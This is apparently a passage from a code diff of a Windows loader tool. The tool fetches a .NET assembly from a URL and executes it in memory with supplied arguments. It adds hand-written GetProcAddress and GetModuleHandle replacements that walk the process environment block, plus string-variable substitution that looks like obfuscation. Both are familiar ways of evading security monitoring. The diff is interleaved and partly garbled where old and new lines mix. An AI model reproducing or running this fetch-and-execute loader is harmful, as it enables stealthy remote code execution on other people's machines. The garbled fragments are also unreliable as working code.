HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
if (i < argc - 1) {
wcscat_s(arguments, totalLen, L" ");
std::string decodedStr = base64_decode(argv[4], false);
int wideCharLen = MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, NULL, 0);
if (wideCharLen == 0) {
printf(s_err_mb_to_wc_len);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wideCharLen * sizeof(WCHAR));
if (!arguments) {
printf(s_err_heap_alloc_wc);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
if (MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, arguments, wideCharLen) == 0) {
printf(s_err_mb_to_wc_conv);
HeapFree(GetProcessHeap(), 0, arguments);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
}
else if (strcmp(argv[3], s_a_flag) == 0) {
if (argc < 5) {
print_usage(argv[0]);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
// Concatenate all cleartext arguments from argv[4] onward.
size_t totalLen = 0;
for (int i = 4; i < argc; i++) {
totalLen += strlen(argv[i]) + 1;
}
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR));
if (!arguments) {
printf(s_err_heap_alloc_args);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
arguments[0] = L'\0';
for (int i = 4; i < argc; i++) {
size_t currentLen = wcslen(arguments);
size_t convertedChars = 0;
if (mbstowcs_s(&convertedChars, arguments + currentLen, totalLen - currentLen, argv[i], _TRUNCATE) != 0) {
printf(s_err_mbstowcs, i);
HeapFree(GetProcessHeap(), 0, arguments);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
if (i < argc - 1) {
wcscat_s(arguments, totalLen, s_space);
}
}
}
else {
print_usage(argv[0]);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
}
else {
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WCHAR));
if (!arguments) {
printf("[-] HeapAlloc failed for empty arguments\n");
printf(s_err_heap_alloc_empty);
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
return 1;
}
arguments[0] = L'\0';
}
if (!ReadFileFromURLA(url, &AssemblyBytes, &AssemblySize)) {
puts("[-] ReadFileFromURLA Failed");
HeapFree(GetProcessHeap(), 0, arguments);
return 1;
}
if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)L"MyAppDomain", arguments, &OutputBuffer, &OutputLength)) {
puts("[-] DotnetExecute Failed");
// Execute the .NET assembly.
if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)s_myappdomain, arguments, &OutputBuffer, &OutputLength)) {
puts(s_err_dotnet);
}
else {
printf("\n\n%s", OutputBuffer);
printf(s_output, OutputBuffer);
}
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
+73
View File
@@ -0,0 +1,73 @@
#include <Windows.h>
#include <winternl.h>
// Replacement for GetProcAddress.
FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {
PBYTE pBase = (PBYTE)hModule;
// Get DOS header and validate signature.
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// Get NT headers and validate signature.
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Get the optional header.
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
// Get the export directory.
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase +
ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Get arrays for names, addresses, and ordinals.
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
// Loop through exported functions.
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (strcmp(lpApiName, pFunctionName) == 0) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}
// Simple case-insensitive wide-string comparison.
bool IsStringEqual(LPCWSTR a, LPCWSTR b) {
return (wcscmp(a, b) == 0);
}
// Replacement for GetModuleHandle.
HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {
#ifdef _WIN64
PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PPEB)(__readfsdword(0x30));
#endif
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
while (pDte) {
if (pDte->FullDllName.Length != 0) {
if (IsStringEqual(pDte->FullDllName.Buffer, szModuleName)) {
#ifdef STRUCTS
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
#else
return (HMODULE)pDte->Reserved2[0];
#endif
}
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include <winternl.h>
FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName);
HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName);